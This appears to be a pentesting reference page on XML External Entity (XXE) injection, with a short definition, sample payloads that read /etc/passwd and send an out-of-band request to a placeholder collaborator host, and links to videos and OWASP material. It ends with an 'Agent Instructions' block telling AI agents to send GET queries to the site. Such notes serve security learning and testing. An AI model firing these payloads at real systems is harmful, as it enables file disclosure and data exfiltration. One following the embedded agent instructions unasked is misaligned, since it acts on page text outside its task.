# XML External Entity Injection (XXE)

> An *XML External Entity* attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

### Payloads

#### Basic XML Examples

```markup
<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>Parz</firstName>
 <lastName>ival</lastName>
</userInfo>
```

```markup
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">]
>
<methodCall><methodName>&test;</methodName></methodCall>
```

Read a file:

```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY parzival SYSTEM "file:///etc/passwd"> ]>
<data>&parzival;</data>
```

{% embed url="<https://github.com/payloadbox/xxe-injection-payload-list>" %}

Out of Band

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>
```

### Introductions to XXE

{% embed url="<https://www.youtube.com/watch?v=0DQnWalxYb4>" %}

{% embed url="<https://www.youtube.com/watch?v=Jo7qG8VcTeA>" %}

{% embed url="<https://www.youtube.com/watch?v=aSiIHKeN3ys>" %}

### References

{% embed url="<https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing>" %}

{% embed url="<https://hackerone.com/reports/347139>" %}

{% embed url="<https://www.slideshare.net/ssuserf09cba/xxe-how-to-become-a-jedi>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/web-applications/injection-vulnerabilities/external-entity-injection-xxe.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
